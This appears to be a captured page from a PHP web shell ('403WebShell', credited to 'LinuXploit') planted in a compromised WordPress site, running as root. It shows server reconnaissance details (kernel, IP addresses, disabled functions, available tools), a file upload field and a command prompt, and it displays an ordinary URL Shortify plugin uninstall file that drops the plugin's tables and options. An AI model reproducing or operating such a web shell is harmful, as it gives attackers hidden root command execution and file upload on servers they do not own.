Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

Base Dir : /var/www/sweetheart.mx/htdocs

User : root


Who Knows WP Shell uploader
Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 216.238.66.20  /  Your IP : 216.73.216.248
Web Server : nginx/1.30.4
System : Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/sweetheart.mx/htdocs/wp-content/plugins/url-shortify/lite/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/sweetheart.mx/htdocs/wp-content/plugins/url-shortify/lite/includes/Uninstall.php
<?php


namespace KaizenCoders\URL_Shortify;


class Uninstall {
	/**
	 * Init Uninstall
	 *
	 * @since 1.4.9
	 */
	public function init() {
		kc_us_fs()->add_action( 'after_uninstall', [ $this, 'uninstall_cleanup' ] );
	}

	/**
	 * Delete plugin data
	 *
	 * @since 1.4.9
	 */
	public function uninstall_cleanup() {

		$settings = US()->get_settings();

		$delete_on_uninstall = Helper::get_data( $settings, 'general_settings_delete_plugin_data', 0 );

		if ( 1 == $delete_on_uninstall ) {
			// Delete Tables
			$this->delete_tables();

			// Delete Options
			$this->delete_options();
		}

	}

	/**
	 * Delete Tables
	 *
	 * @since 1.4.9
	 */
	public function delete_tables() {
		global $wpdb;

		$tables = [
			$wpdb->prefix . 'kc_us_links',
			$wpdb->prefix . 'kc_us_clicks',
			$wpdb->prefix . 'kc_us_groups',
			$wpdb->prefix . 'kc_us_links_groups',
			$wpdb->prefix . 'kc_us_domains',
			$wpdb->prefix . 'kc_us_utm_presets',
			$wpdb->prefix . 'kc_us_tracking_pixels',
			$wpdb->prefix . 'kc_us_tags',
			$wpdb->prefix . 'kc_us_favorites_links',
		];

		foreach ( $tables as $table ) {
			$wpdb->query( "DROP TABLE IF EXISTS {$table}" );
		}
	}

	/**
	 * Delete Options
	 *
	 * @since 1.4.9
	 */
	public function delete_options() {
		global $wpdb;

		$settings = [
			'settings',
		];

		foreach ( $settings as $setting ) {
			Option::delete( $setting );
		}

		$option_name = '%' . $wpdb->esc_like( 'kc_us_' ) . '%';

		$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->prefix}options WHERE option_name LIKE %s", $option_name ) );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit